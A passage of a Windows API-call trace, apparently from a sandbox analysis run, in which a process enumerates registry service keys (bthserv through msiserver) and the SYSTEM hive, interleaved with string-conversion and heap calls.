| out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0242.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.071] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0242.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0242.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0242.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.071] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0242.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0242.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1c40, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0242.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.071] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0242.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0242.072] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0242.072] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.072] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.072] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.072] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.072] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0242.072] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0242.072] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1c40, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0242.072] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0242.072] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0242.072] RegEnumKeyW (in: hKey=0x150, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0242.072] RegEnumKeyW (in: hKey=0x150, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0242.072] RegEnumKeyW (in: hKey=0x150, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0242.072] RegEnumKeyW (in: hKey=0x150, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0242.072] RegEnumKeyW (in: hKey=0x150, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0242.073] RegEnumKeyW (in: hKey=0x150, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0242.073] RegEnumKeyW (in: hKey=0x150, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0242.073] RegEnumKeyW (in: hKey=0x150, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0242.073] RegEnumKeyW (in: hKey=0x150, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0242.073] RegEnumKeyW (in: hKey=0x150, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0242.073] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0242.073] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0242.073] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0242.073] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0242.073] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0242.073] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0242.073] RegEnumKeyW (in: hKey=0x150, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0242.073] RegEnumKeyW (in: hKey=0x150, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0242.073] RegEnumKeyW (in: hKey=0x150, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0242.074] RegEnumKeyW (in: hKey=0x150, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0242.074] RegEnumKeyW (in: hKey=0x150, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0242.074] RegEnumKeyW (in: hKey=0x150, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0242.074] RegEnumKeyW (in: hKey=0x150, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0242.074] RegEnumKeyW (in: hKey=0x150, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0242.074] RegEnumKeyW (in: hKey=0x150, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0242.074] RegEnumKeyW (in: hKey=0x150, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0242.074] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0242.074] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0242.074] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0242.074] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0242.074] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0242.074] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0242.075] RegEnumKeyW (in: hKey=0x150, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0242.075] RegEnumKeyW (in: hKey=0x150, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0242.075] RegEnumKeyW (in: hKey=0x150, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0242.075] RegEnumKeyW (in: hKey=0x150, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0242.075] RegEnumKeyW (in: hKey=0x150, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0242.075] RegEnumKeyW (in: hKey=0x150, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0242.075] RegEnumKeyW (in: hKey=0x150, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0242.075] RegEnumKeyW (in: hKey=0x150, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0242.075] RegEnumKeyW (in: hKey=0x150, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0242.075] RegEnumKeyW (in: hKey=0x150, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0242.075] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0242.075] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0242.075] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0242.075] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0242.076] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0242.076] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0242.076] RegEnumKeyW (in: hKey=0x150, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0242.076] RegEnumKeyW (in: hKey=0x150, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0242.076] RegEnumKeyW (in: hKey=0x150, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0242.076] RegEnumKeyW (in: hKey=0x150, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0242.076] RegEnumKeyW (in: hKey=0x150, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0242.076] RegEnumKeyW (in: hKey=0x150, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0242.076] RegEnumKeyW (in: hKey=0x150, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0242.076] RegEnumKeyW (in: hKey=0x150, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0242.076] RegEnumKeyW (in: hKey=0x150, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0242.076] RegEnumKeyW (in: hKey=0x150, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0242.076] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0242.077] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0242.077] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0242.077] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0242.077] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0242.077] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0242.077] RegEnumKeyW (in: hKey=0x150, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0242.077] RegEnumKeyW (in: hKey=0x150, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0242.077] RegEnumKeyW (in: hKey=0x150, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0242.077] RegEnumKeyW (in: hKey=0x150, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0242.077] RegEnumKeyW (in: hKey=0x150, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0242.077] RegEnumKeyW (in: hKey=0x150, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0242.078] RegEnumKeyW (in: hKey=0x150, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0242.078] RegEnumKeyW (in: hKey=0x150, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0242.078] RegEnumKeyW (in: hKey=0x150, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0242.078] RegEnumKeyW (in: hKey=0x150, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0242.078] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0242.078] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0242.078] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0242.078] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0242.078] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0242.078] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0242.078] RegEnumKeyW (in: hKey=0x150, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0242.078] RegEnumKeyW (in: hKey=0x150, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0242.078] RegEnumKeyW (in: hKey=0x150, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0242.078] RegEnumKeyW (in: hKey=0x150, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0242.079] RegEnumKeyW (in: hKey=0x150, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0242.079] RegEnumKeyW (in: hKey=0x150, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0242.079] RegEnumKeyW (in: hKey=0x150, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0242.079] RegEnumKeyW (in: hKey=0x150, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0242.079] RegEnumKeyW (in: hKey=0x150, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0242.079] RegEnumKeyW (in: hKey=0x150, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0242.079] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0242.079] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0242.079] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0242.079] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0242.079] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0242.079] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0242.079] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0242.080] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0242.080] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0242.080] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0242.080] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0242.080] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0242.080] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0242.080] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0242.080] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0242.080] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0242.080] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0242.080] RegEnumKeyW (in: hKey=0x150, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0242.080] RegEnumKeyW (in: hKey=0x150, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0242.080] RegEnumKeyW (in: hKey=0x150, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0242.081] RegEnumKeyW (in: hKey=0x150, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0242.081] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0242.081] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0242.081] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0242.081] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0242.081] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0242.081] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0242.081] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0242.081] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0242.081] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0242.081] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0242.081] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0242.081] RegEnumKeyW (in: hKey=0x150, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0242.081] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0242.082] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0242.082] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0242.082] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0242.082] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0242.082] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0242.082] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0242.082] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0242.082] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0242.082] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0242.082] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0242.082] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0242.082] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0242.082] RegOpenKeyExW (in: hKey=0x150, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0242.083] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0242.083] RegCloseKey (hKey=0x150) returned 0x0 [0242.083] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0242.083] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0242.083] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0242.083] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0242.083] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0242.083] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0242.083] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0242.083] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0242.083] RegCloseKey (hKey=0x80000002) returned 0x0 [0242.083] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0242.083] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0242.083] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0242.083] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0242.084] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0242.084] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0242.084] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0242.084] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0242.084] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0242.084] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0242.084] RegCloseKey (hKey=0x14c) returned 0x0 [0242.084] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") 